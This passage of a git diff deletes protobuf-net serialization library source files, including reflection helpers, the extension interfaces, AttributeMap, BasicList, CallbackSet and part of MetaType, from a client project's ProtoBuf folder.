type.IsGenericType && type.GetGenericTypeDefinition().FullName == "System.Nullable`1") - { - return type.GetGenericArguments()[0]; - } - return null; - } -#endif - - internal static System.Type GetUnderlyingType(System.Type type) - { -#if NO_GENERICS - return null; // never a Nullable, so always returns null -#else - return Nullable.GetUnderlyingType(type); -#endif - } - - internal static bool IsValueType(Type type) - { -#if WINRT - return type.GetTypeInfo().IsValueType; -#else - return type.IsValueType; -#endif - } - - internal static bool IsEnum(Type type) - { -#if WINRT - return type.GetTypeInfo().IsEnum; -#else - return type.IsEnum; -#endif - } - - internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) - { - if (property == null) return null; -#if WINRT - MethodInfo method = property.GetMethod; - if (!nonPublic && method != null && !method.IsPublic) method = null; - return method; -#else - MethodInfo method = property.GetGetMethod(nonPublic); - if (method == null && !nonPublic && allowInternal) - { - // could be "internal" or "protected internal"; look for a non-public, then back-check - method = property.GetGetMethod(true); - if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly)) - { - method = null; - } - } - return method; -#endif - } - - internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) - { - if (property == null) return null; -#if WINRT - MethodInfo method = property.SetMethod; - if (!nonPublic && method != null && !method.IsPublic) method = null; - return method; -#else - MethodInfo method = property.GetSetMethod(nonPublic); - if (method == null && !nonPublic && allowInternal) - { - // could be "internal" or "protected internal"; look for a non-public, then back-check - method = property.GetGetMethod(true); - if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly)) - { - method = null; - } - } - return method; -#endif - } - -#if FEAT_IKVM - internal static bool IsMatch(IKVM.Reflection.ParameterInfo[] parameters, IKVM.Reflection.Type[] parameterTypes) - { - if (parameterTypes == null) parameterTypes = Helpers.EmptyTypes; - if (parameters.Length != parameterTypes.Length) return false; - for (int i = 0; i < parameters.Length; i++) - { - if (parameters[i].ParameterType != parameterTypes[i]) return false; - } - return true; - } -#endif -#if WINRT - private static bool IsMatch(ParameterInfo[] parameters, Type[] parameterTypes) - { - if (parameterTypes == null) parameterTypes = EmptyTypes; - if (parameters.Length != parameterTypes.Length) return false; - for (int i = 0; i < parameters.Length; i++) - { - if (parameters[i].ParameterType != parameterTypes[i]) return false; - } - return true; - } - internal static ConstructorInfo GetConstructor(TypeInfo type, Type[] parameterTypes, bool nonPublic) - { - foreach (ConstructorInfo ctor in type.DeclaredConstructors) - { - if (!nonPublic && !ctor.IsPublic) continue; - if (IsMatch(ctor.GetParameters(), parameterTypes)) return ctor; - } - return null; - } - internal static ConstructorInfo[] GetConstructors(TypeInfo typeInfo, bool nonPublic) - { - if (nonPublic) return System.Linq.Enumerable.ToArray(typeInfo.DeclaredConstructors); - return System.Linq.Enumerable.ToArray( - System.Linq.Enumerable.Where(typeInfo.DeclaredConstructors, x => x.IsPublic)); - } - internal static PropertyInfo GetProperty(TypeInfo type, string name, bool nonPublic) - { - return type.GetDeclaredProperty(name); - } -#else - - internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic) - { -#if PORTABLE - // pretty sure this will only ever return public, but... - ConstructorInfo ctor = type.GetConstructor(parameterTypes); - return (ctor != null && (nonPublic || ctor.IsPublic)) ? ctor : null; -#else - return type.GetConstructor( - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public, - null, parameterTypes, null); -#endif - } - - internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic) - { - return type.GetConstructors( - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public); - } - - internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic) - { - return type.GetProperty(name, - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public); - } -#endif - - - internal static object ParseEnum(Type type, string value) - { -#if FEAT_IKVM - FieldInfo[] fields = type.GetFields(); - foreach (FieldInfo field in fields) - { - if (string.Equals(field.Name, value, StringComparison.OrdinalIgnoreCase)) return field.GetRawConstantValue(); - } - throw new ArgumentException("Enum value could not be parsed: " + value + ", " + type.FullName); -#else - return Enum.Parse(type, value, true); -#endif - } - - - internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly) - { -#if WINRT - System.Collections.Generic.List members = new System.Collections.Generic.List(); - foreach(FieldInfo field in type.GetRuntimeFields()) - { - if(field.IsStatic) continue; - if(field.IsPublic || !publicOnly) members.Add(field); - } - foreach(PropertyInfo prop in type.GetRuntimeProperties()) - { - MethodInfo getter = Helpers.GetGetMethod(prop, true, true); - if(getter == null || getter.IsStatic) continue; - if(getter.IsPublic || !publicOnly) members.Add(prop); - } - return members.ToArray(); -#else - BindingFlags flags = publicOnly - ? BindingFlags.Public | BindingFlags.Instance - : BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic; - PropertyInfo[] props = type.GetProperties(flags); - FieldInfo[] fields = type.GetFields(flags); - MemberInfo[] members = new MemberInfo[fields.Length + props.Length]; - props.CopyTo(members, 0); - fields.CopyTo(members, props.Length); - return members; -#endif - } - - internal static Type GetMemberType(MemberInfo member) - { -#if WINRT || PORTABLE - PropertyInfo prop = member as PropertyInfo; - if (prop != null) return prop.PropertyType; - FieldInfo fld = member as FieldInfo; - return fld == null ? null : fld.FieldType; -#else - switch (member.MemberType) - { - case MemberTypes.Field: - return ((FieldInfo) member).FieldType; - case MemberTypes.Property: - return ((PropertyInfo) member).PropertyType; - default: - return null; - } -#endif - } - - internal static bool IsAssignableFrom(Type target, Type type) - { -#if WINRT - return target.GetTypeInfo().IsAssignableFrom(type.GetTypeInfo()); -#else - return target.IsAssignableFrom(type); -#endif - } - } - - /// - /// Intended to be a direct map to regular TypeCode, but: - /// - with missing types - /// - existing on WinRT - /// - internal enum ProtoTypeCode - { - Empty = 0, - Unknown = 1, // maps to TypeCode.Object - Boolean = 3, - Char = 4, - SByte = 5, - Byte = 6, - Int16 = 7, - UInt16 = 8, - Int32 = 9, - UInt32 = 10, - Int64 = 11, - UInt64 = 12, - Single = 13, - Double = 14, - Decimal = 15, - DateTime = 16, - String = 18, - - // additions - TimeSpan = 100, - ByteArray = 101, - Guid = 102, - Uri = 103, - Type = 104 - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/IExtensible.cs b/Client/Core/ProtoBuf/IExtensible.cs deleted file mode 100644 index 1e25e848..00000000 --- a/Client/Core/ProtoBuf/IExtensible.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Indicates that the implementing type has support for protocol-buffer - /// extensions. - /// - /// Can be implemented by deriving from Extensible. - public interface IExtensible - { - /// - /// Retrieves the extension object for the current - /// instance, optionally creating it if it does not already exist. - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - IExtension GetExtensionObject(bool createIfMissing); - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/IExtension.cs b/Client/Core/ProtoBuf/IExtension.cs deleted file mode 100644 index dfc6138f..00000000 --- a/Client/Core/ProtoBuf/IExtension.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System.IO; - -namespace ProtoBuf -{ - /// - /// Provides addition capability for supporting unexpected fields during - /// protocol-buffer serialization/deserialization. This allows for loss-less - /// round-trip/merge, even when the data is not fully understood. - /// - public interface IExtension - { - /// - /// Requests a stream into which any unexpected fields can be persisted. - /// - /// A new stream suitable for storing data. - Stream BeginAppend(); - - /// - /// Indicates that all unexpected fields have now been stored. The - /// implementing class is responsible for closing the stream. If - /// "commit" is not true the data may be discarded. - /// - /// The stream originally obtained by BeginAppend. - /// True if the append operation completed successfully. - void EndAppend(Stream stream, bool commit); - - /// - /// Requests a stream of the unexpected fields previously stored. - /// - /// A prepared stream of the unexpected fields. - Stream BeginQuery(); - - /// - /// Indicates that all unexpected fields have now been read. The - /// implementing class is responsible for closing the stream. - /// - /// The stream originally obtained by BeginQuery. - void EndQuery(Stream stream); - - /// - /// Requests the length of the raw binary stream; this is used - /// when serializing sub-entities to indicate the expected size. - /// - /// The length of the binary stream representing unexpected data. - int GetLength(); - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ImplicitFields.cs b/Client/Core/ProtoBuf/ImplicitFields.cs deleted file mode 100644 index c9bbb863..00000000 --- a/Client/Core/ProtoBuf/ImplicitFields.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Specifies the method used to infer field tags for members of the type - /// under consideration. Tags are deduced using the invariant alphabetic - /// sequence of the members' names; this makes implicit field tags very brittle, - /// and susceptible to changes such as field names (normally an isolated - /// change). - /// - public enum ImplicitFields - { - /// - /// No members are serialized implicitly; all members require a suitable - /// attribute such as [ProtoMember]. This is the recmomended mode for - /// most scenarios. - /// - None = 0, - - /// - /// Public properties and fields are eligible for implicit serialization; - /// this treats the public API as a contract. Ordering beings from ImplicitFirstTag. - /// - AllPublic = 1, - - /// - /// Public and non-public fields are eligible for implicit serialization; - /// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag. - /// - AllFields = 2 - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/KeyValuePairProxy.cs b/Client/Core/ProtoBuf/KeyValuePairProxy.cs deleted file mode 100644 index b2048db5..00000000 --- a/Client/Core/ProtoBuf/KeyValuePairProxy.cs +++ /dev/null @@ -1,47 +0,0 @@ -//#if !NO_GENERICS -//using System.Collections.Generic; - -//namespace ProtoBuf -//{ -// /// -// /// Mutable version of the common key/value pair struct; used during serialization. This type is intended for internal use only and should not -// /// be used by calling code; it is required to be public for implementation reasons. -// /// -// [ProtoContract] -// public struct KeyValuePairSurrogate -// { -// private TKey key; -// private TValue value; -// /// -// /// The key of the pair. -// /// -// [ProtoMember(1, IsRequired = true)] -// public TKey Key { get { return key; } set { key = value; } } -// /// -// /// The value of the pair. -// /// -// [ProtoMember(2)] -// public TValue Value{ get { return value; } set { this.value = value; } } -// private KeyValuePairSurrogate(TKey key, TValue value) -// { -// this.key = key; -// this.value = value; -// } -// /// -// /// Convert a surrogate instance to a standard pair instance. -// /// -// public static implicit operator KeyValuePair (KeyValuePairSurrogate value) -// { -// return new KeyValuePair(value.key, value.value); -// } -// /// -// /// Convert a standard pair instance to a surrogate instance. -// /// -// public static implicit operator KeyValuePairSurrogate(KeyValuePair value) -// { -// return new KeyValuePairSurrogate(value.Key, value.Value); -// } -// } -//} -//#endif - diff --git a/Client/Core/ProtoBuf/Meta/AttributeMap.cs b/Client/Core/ProtoBuf/Meta/AttributeMap.cs deleted file mode 100644 index db422a70..00000000 --- a/Client/Core/ProtoBuf/Meta/AttributeMap.cs +++ /dev/null @@ -1,207 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - internal abstract class AttributeMap - { -#if DEBUG - [Obsolete("Please use AttributeType instead")] - public new Type GetType() - { - return AttributeType; - } -#endif - public abstract bool TryGet(string key, bool publicOnly, out object value); - - public bool TryGet(string key, out object value) - { - return TryGet(key, true, out value); - } - - public abstract Type AttributeType { get; } - - public static AttributeMap[] Create(TypeModel model, Type type, bool inherit) - { -#if FEAT_IKVM - Type attribType = model.MapType(typeof(System.Attribute)); - System.Collections.Generic.IList all = type.__GetCustomAttributes(attribType, inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(type.GetTypeInfo().GetCustomAttributes(inherit)); -#else - object[] all = type.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - - public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit) - { -#if FEAT_IKVM - System.Collections.Generic.IList all = member.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(member.GetCustomAttributes(inherit)); -#else - object[] all = member.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - - public static AttributeMap[] Create(TypeModel model, Assembly assembly) - { -#if FEAT_IKVM - const bool inherit = false; - System.Collections.Generic.IList all = assembly.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(assembly.GetCustomAttributes()); -#else - const bool inherit = false; - object[] all = assembly.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - -#if FEAT_IKVM - private sealed class AttributeDataMap : AttributeMap - { - public override Type AttributeType - { - get { return attribute.Constructor.DeclaringType; } - } - private readonly CustomAttributeData attribute; - public AttributeDataMap(CustomAttributeData attribute) - { - this.attribute = attribute; - } - public override bool TryGet(string key, bool publicOnly, out object value) - { - foreach (CustomAttributeNamedArgument arg in attribute.NamedArguments) - { - if (string.Equals(arg.MemberInfo.Name, key, StringComparison.OrdinalIgnoreCase)) - { - value = arg.TypedValue.Value; - return true; - } - } - - - int index = 0; - ParameterInfo[] parameters = attribute.Constructor.GetParameters(); - foreach (CustomAttributeTypedArgument arg in attribute.ConstructorArguments) - { - if (string.Equals(parameters[index++].Name, key, StringComparison.OrdinalIgnoreCase)) - { - value = arg.Value; - return true; - } - } - value = null; - return false; - } - } -#else - public abstract object Target { get; } - - private sealed class ReflectionAttributeMap : AttributeMap - { - public override object Target - { - get { return attribute; } - } - - public override Type AttributeType - { - get { return attribute.GetType(); } - } - - public override bool TryGet(string key, bool publicOnly, out object value) - { - MemberInfo[] members = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly); - foreach (MemberInfo member in members) - { -#if FX11 - if (member.Name.ToUpper() == key.ToUpper()) -#else - if (string.Equals(member.Name, key, StringComparison.OrdinalIgnoreCase)) -#endif - { - PropertyInfo prop = member as PropertyInfo; - if (prop != null) - { - value = prop.GetValue(attribute, null); - return true; - } - FieldInfo field = member as FieldInfo; - if (field != null) - { - value = field.GetValue(attribute); - return true; - } - - throw new NotSupportedException(member.GetType().Name); - } - } - value = null; - return false; - } - - private readonly Attribute attribute; - - public ReflectionAttributeMap(Attribute attribute) - { - this.attribute = attribute; - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/BasicList.cs b/Client/Core/ProtoBuf/Meta/BasicList.cs deleted file mode 100644 index d1537c7e..00000000 --- a/Client/Core/ProtoBuf/Meta/BasicList.cs +++ /dev/null @@ -1,303 +0,0 @@ -using System; -using System.Collections; - -namespace ProtoBuf.Meta -{ - internal sealed class MutableList : BasicList - { - /* Like BasicList, but allows existing values to be changed - */ - - public new object this[int index] - { - get { return head[index]; } - set { head[index] = value; } - } - - public void RemoveLast() - { - head.RemoveLastWithMutate(); - } - - public void Clear() - { - head.Clear(); - } - } - - internal class BasicList : IEnumerable - { - /* Requirements: - * - Fast access by index - * - Immutable in the tail, so a node can be read (iterated) without locking - * - Lock-free tail handling must match the memory mode; struct for Node - * wouldn't work as "read" would not be atomic - * - Only operation required is append, but this shouldn't go out of its - * way to be inefficient - * - Assume that the caller is handling thread-safety (to co-ordinate with - * other code); no attempt to be thread-safe - * - Assume that the data is private; internal data structure is allowed to - * be mutable (i.e. array is fine as long as we don't screw it up) - */ - private static readonly Node nil = new Node(null, 0); - - public void CopyTo(Array array, int offset) - { - head.CopyTo(array, offset); - } - - protected Node head = nil; - - public int Add(object value) - { - return (head = head.Append(value)).Length - 1; - } - - public object this[int index] - { - get { return head[index]; } - } - - //public object TryGet(int index) - //{ - // return head.TryGet(index); - //} - public void Trim() - { - head = head.Trim(); - } - - public int Count - { - get { return head.Length; } - } - - IEnumerator IEnumerable.GetEnumerator() - { - return new NodeEnumerator(head); - } - - public NodeEnumerator GetEnumerator() - { - return new NodeEnumerator(head); - } - - public struct NodeEnumerator : IEnumerator - { - private int position; - private readonly Node node; - - internal NodeEnumerator(Node node) - { - this.position = -1; - this.node = node; - } - - void IEnumerator.Reset() - { - position = -1; - } - - public object Current - { - get { return node[position]; } - } - - public bool MoveNext() - { - int len = node.Length; - return (position <= len) && (++position < len); - } - } - - internal sealed class Node - { - public object this[int index] - { - get - { - if (index >= 0 && index < length) - { - return data[index]; - } - throw new ArgumentOutOfRangeException("index"); - } - set - { - if (index >= 0 && index < length) - { - data[index] = value; - } - else - { - throw new ArgumentOutOfRangeException("index"); - } - } - } - - //public object TryGet(int index) - //{ - // return (index >= 0 && index < length) ? data[index] : null; - //} - private readonly object[] data; - - private int length; - - public int Length - { - get { return length; } - } - - internal Node(object[] data, int length) - { - Helpers.DebugAssert((data == null && length == 0) || - (data != null && length > 0 && length <= data.Length)); - this.data = data; - - this.length = length; - } - - public void RemoveLastWithMutate() - { - if (length == 0) throw new InvalidOperationException(); - length -= 1; - } - - public Node Append(object value) - { - object[] newData; - int newLength = length + 1; - if (data == null) - { - newData = new object[10]; - } - else if (length == data.Length) - { - newData = new object[data.Length*2]; - Array.Copy(data, newData, length); - } - else - { - newData = data; - } - newData[length] = value; - return new Node(newData, newLength); - } - - public Node Trim() - { - if (length == 0 || length == data.Length) return this; - object[] newData = new object[length]; - Array.Copy(data, newData, length); - return new Node(newData, length); - } - - internal int IndexOfString(string value) - { - for (int i = 0; i < length; i++) - { - if ((string) value == (string) data[i]) return i; - } - return -1; - } - - internal int IndexOfReference(object instance) - { - for (int i = 0; i < length; i++) - { - if ((object) instance == (object) data[i]) return i; - } // ^^^ (object) above should be preserved, even if this was typed; needs - // to be a reference check - return -1; - } - - internal int IndexOf(MatchPredicate predicate, object ctx) - { - for (int i = 0; i < length; i++) - { - if (predicate(data[i], ctx)) return i; - } - return -1; - } - - internal void CopyTo(Array array, int offset) - { - if (length > 0) - { - Array.Copy(data, 0, array, offset, length); - } - } - - internal void Clear() - { - if (data != null) - { - Array.Clear(data, 0, data.Length); - } - length = 0; - } - } - - internal int IndexOf(MatchPredicate predicate, object ctx) - { - return head.IndexOf(predicate, ctx); - } - - internal int IndexOfString(string value) - { - return head.IndexOfString(value); - } - - internal int IndexOfReference(object instance) - { - return head.IndexOfReference(instance); - } - - internal delegate bool MatchPredicate(object value, object ctx); - - internal bool Contains(object value) - { - foreach (object obj in this) - { - if (object.Equals(obj, value)) return true; - } - return false; - } - - internal sealed class Group - { - public readonly int First; - public readonly BasicList Items; - - public Group(int first) - { - this.First = first; - this.Items = new BasicList(); - } - } - - internal static BasicList GetContiguousGroups(int[] keys, object[] values) - { - if (keys == null) throw new ArgumentNullException("keys"); - if (values == null) throw new ArgumentNullException("values"); - if (values.Length < keys.Length) - throw new ArgumentException("Not all keys are covered by values", "values"); - BasicList outer = new BasicList(); - Group group = null; - for (int i = 0; i < keys.Length; i++) - { - if (i == 0 || keys[i] != keys[i - 1]) - { - group = null; - } - if (group == null) - { - group = new Group(keys[i]); - outer.Add(group); - } - group.Items.Add(values[i]); - } - return outer; - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/CallbackSet.cs b/Client/Core/ProtoBuf/Meta/CallbackSet.cs deleted file mode 100644 index d0bff643..00000000 --- a/Client/Core/ProtoBuf/Meta/CallbackSet.cs +++ /dev/null @@ -1,131 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents the set of serialization callbacks to be used when serializing/deserializing a type. - /// - public class CallbackSet - { - private readonly MetaType metaType; - - internal CallbackSet(MetaType metaType) - { - if (metaType == null) throw new ArgumentNullException("metaType"); - this.metaType = metaType; - } - - internal MethodInfo this[TypeModel.CallbackType callbackType] - { - get - { - switch (callbackType) - { - case TypeModel.CallbackType.BeforeSerialize: - return beforeSerialize; - case TypeModel.CallbackType.AfterSerialize: - return afterSerialize; - case TypeModel.CallbackType.BeforeDeserialize: - return beforeDeserialize; - case TypeModel.CallbackType.AfterDeserialize: - return afterDeserialize; - default: - throw new ArgumentException("Callback type not supported: " + callbackType.ToString(), - "callbackType"); - } - } - } - - internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method) - { - ParameterInfo[] args = method.GetParameters(); - for (int i = 0; i < args.Length; i++) - { - Type paramType = args[i].ParameterType; - if (paramType == model.MapType(typeof (SerializationContext))) - { - } - else if (paramType == model.MapType(typeof (System.Type))) - { - } -#if PLAT_BINARYFORMATTER - else if(paramType == model.MapType(typeof(System.Runtime.Serialization.StreamingContext))) {} -#endif - else return false; - } - return true; - } - - private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback) - { - metaType.ThrowIfFrozen(); - if (callback == null) return callback; // fine - if (callback.IsStatic) throw new ArgumentException("Callbacks cannot be static", "callback"); - if (callback.ReturnType != model.MapType(typeof (void)) - || !CheckCallbackParameters(model, callback)) - { - throw CreateInvalidCallbackSignature(callback); - } - return callback; - } - - internal static Exception CreateInvalidCallbackSignature(MethodInfo method) - { - return - new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + - method.Name); - } - - private MethodInfo beforeSerialize, afterSerialize, beforeDeserialize, afterDeserialize; - - /// Called before serializing an instance - public MethodInfo BeforeSerialize - { - get { return beforeSerialize; } - set { beforeSerialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called before deserializing an instance - public MethodInfo BeforeDeserialize - { - get { return beforeDeserialize; } - set { beforeDeserialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called after serializing an instance - public MethodInfo AfterSerialize - { - get { return afterSerialize; } - set { afterSerialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called after deserializing an instance - public MethodInfo AfterDeserialize - { - get { return afterDeserialize; } - set { afterDeserialize = SanityCheckCallback(metaType.Model, value); } - } - - /// - /// True if any callback is set, else False - /// - public bool NonTrivial - { - get - { - return beforeSerialize != null || beforeDeserialize != null - || afterSerialize != null || afterDeserialize != null; - } - } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/MetaType.cs b/Client/Core/ProtoBuf/Meta/MetaType.cs deleted file mode 100644 index 66679175..00000000 --- a/Client/Core/ProtoBuf/Meta/MetaType.cs +++ /dev/null @@ -1,2069 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using System.Text; -using ProtoBuf.Serializers; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#if FEAT_COMPILER -using IKVM.Reflection.Emit; -#endif -#else -using System.Reflection; - -#if FEAT_COMPILER -using System.Reflection.Emit; -#endif -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents a type at runtime for use with protobuf, allowing the field mappings (etc) to be defined - /// - public class MetaType : ISerializerProxy - { - internal sealed class Comparer : IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as MetaType, y as MetaType); - } - - public int Compare(MetaType x, MetaType y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - -#if FX11 - return string.Compare(x.GetSchemaTypeName(), y.GetSchemaTypeName()); -#else - return string.Compare(x.GetSchemaTypeName(), y.GetSchemaTypeName(), StringComparison.Ordinal); -#endif - } - } - - /// - /// Get the name of the type being represented - /// - public override string ToString() - { - return type.ToString(); - } - - IProtoSerializer ISerializerProxy.Serializer - { - get { return Serializer; } - } - - private MetaType baseType; - - /// - /// Gets the base-type for this type - /// - public MetaType BaseType - { - get { return baseType; } - } - - internal TypeModel Model - { - get { return model; } - } - - /// - /// When used to compile a model, should public serialization/deserialzation methods - /// be included for this type? - /// - public bool IncludeSerializerMethod - { - // negated to minimize common-case / initializer - get { return !HasFlag(OPTIONS_PrivateOnApi); } - set { SetFlag(OPTIONS_PrivateOnApi, !value, true); } - } - - /// - /// Should this type be treated as a reference by default? - /// - public bool AsReferenceDefault - { - get { return HasFlag(OPTIONS_AsReferenceDefault); } - set { SetFlag(OPTIONS_AsReferenceDefault, value, true); } - } - - private BasicList subTypes; - - private bool IsValidSubType(Type subType) - { -#if WINRT - return typeInfo.IsAssignableFrom(subType.GetTypeInfo()); -#else - return type.IsAssignableFrom(subType); -#endif - } - - /// - /// Adds a known sub-type to the inheritance model - /// - public MetaType AddSubType(int fieldNumber, Type derivedType) - { - return AddSubType(fieldNumber, derivedType, DataFormat.Default); - } - - /// - /// Adds a known sub-type to the inheritance model - /// - public MetaType AddSubType(int fieldNumber, Type derivedType, DataFormat dataFormat) - { - if (derivedType == null) throw new ArgumentNullException("derivedType"); - if (fieldNumber < 1) throw new ArgumentOutOfRangeException("fieldNumber"); -#if WINRT - if (!(typeInfo.IsClass || typeInfo.IsInterface) || typeInfo.IsSealed) { -#else - if (!(type.IsClass || type.IsInterface) || type.IsSealed) - { -#endif - throw new InvalidOperationException("Sub-types can only be added to non-sealed classes"); - } - if (!IsValidSubType(derivedType)) - { - throw new ArgumentException(derivedType.Name + " is not a valid sub-type of " + type.Name, "derivedType"); - } - MetaType derivedMeta = model[derivedType]; - ThrowIfFrozen(); - derivedMeta.ThrowIfFrozen(); - SubType subType = new SubType(fieldNumber, derivedMeta, dataFormat); - ThrowIfFrozen(); - - derivedMeta.SetBaseType(this); // includes ThrowIfFrozen - if (subTypes == null) subTypes = new BasicList(); - subTypes.Add(subType); - return this; - } - -#if WINRT - internal static readonly TypeInfo ienumerable = typeof(IEnumerable).GetTypeInfo(); -#else - internal static readonly System.Type ienumerable = typeof (IEnumerable); -#endif - - private void SetBaseType(MetaType baseType) - { - if (baseType == null) throw new ArgumentNullException("baseType"); - if (this.baseType == baseType) return; - if (this.baseType != null) - throw new InvalidOperationException("A type can only participate in one inheritance hierarchy"); - - MetaType type = baseType; - while (type != null) - { - if (ReferenceEquals(type, this)) - throw new InvalidOperationException("Cyclic inheritance is not allowed"); - type = type.baseType; - } - this.baseType = baseType; - } - - private CallbackSet callbacks; - - /// - /// Indicates whether the current type has defined callbacks - /// - public bool HasCallbacks - { - get { return callbacks != null && callbacks.NonTrivial; } - } - - /// - /// Indicates whether the current type has defined subtypes - /// - public bool HasSubtypes - { - get { return subTypes != null && subTypes.Count != 0; } - } - - /// - /// Returns the set of callbacks defined for this type - /// - public CallbackSet Callbacks - { - get - { - if (callbacks == null) callbacks = new CallbackSet(this); - return callbacks; - } - } - - private bool IsValueType - { - get - { -#if WINRT - return typeInfo.IsValueType; -#else - return type.IsValueType; -#endif - } - } - - /// - /// Assigns the callbacks to use during serialiation/deserialization. - /// - /// The method (or null) called before serialization begins. - /// The method (or null) called when serialization is complete. - /// The method (or null) called before deserialization begins (or when a new instance is created during deserialization). - /// The method (or null) called when deserialization is complete. - /// The set of callbacks. - public MetaType SetCallbacks(MethodInfo beforeSerialize, MethodInfo afterSerialize, MethodInfo beforeDeserialize, - MethodInfo afterDeserialize) - { - CallbackSet callbacks = Callbacks; - callbacks.BeforeSerialize = beforeSerialize; - callbacks.AfterSerialize = afterSerialize; - callbacks.BeforeDeserialize = beforeDeserialize; - callbacks.AfterDeserialize = afterDeserialize; - return this; - } - - /// - /// Assigns the callbacks to use during serialiation/deserialization. - /// - /// The name of the method (or null) called before serialization begins. - /// The name of the method (or null) called when serialization is complete. - /// The name of the method (or null) called before deserialization begins (or when a new instance is created during deserialization). - /// The name of the method (or null) called when deserialization is complete. - /// The set of callbacks. - public MetaType SetCallbacks(string beforeSerialize, string afterSerialize, string beforeDeserialize, - string afterDeserialize) - { - if (IsValueType) throw new InvalidOperationException(); - CallbackSet callbacks = Callbacks; - callbacks.BeforeSerialize = ResolveMethod(beforeSerialize, true); - callbacks.AfterSerialize = ResolveMethod(afterSerialize, true); - callbacks.BeforeDeserialize = ResolveMethod(beforeDeserialize, true); - callbacks.AfterDeserialize = ResolveMethod(afterDeserialize, true); - return this; - } - - internal string GetSchemaTypeName() - { - if (surrogate != null) return model[surrogate].GetSchemaTypeName(); - - if (!Helpers.IsNullOrEmpty(name)) return name; - - string typeName = type.Name; -#if !NO_GENERICS - if (type -#if WINRT - .GetTypeInfo() -#endif - .IsGenericType) - { - StringBuilder sb = new StringBuilder(typeName); - int split = typeName.IndexOf('`'); - if (split >= 0) sb.Length = split; - foreach (Type arg in type -#if WINRT - .GetTypeInfo().GenericTypeArguments -#else - .GetGenericArguments() -#endif - ) - { - sb.Append('_'); - Type tmp = arg; - int key = model.GetKey(ref tmp); - MetaType mt; - if (key >= 0 && (mt = model[tmp]) != null && mt.surrogate == null) - // <=== need to exclude surrogate to avoid chance of infinite loop - { - sb.Append(mt.GetSchemaTypeName()); - } - else - { - sb.Append(tmp.Name); - } - } - return sb.ToString(); - } -#endif - return typeName; - } - - private string name; - - /// - /// Gets or sets the name of this contract. - /// - public string 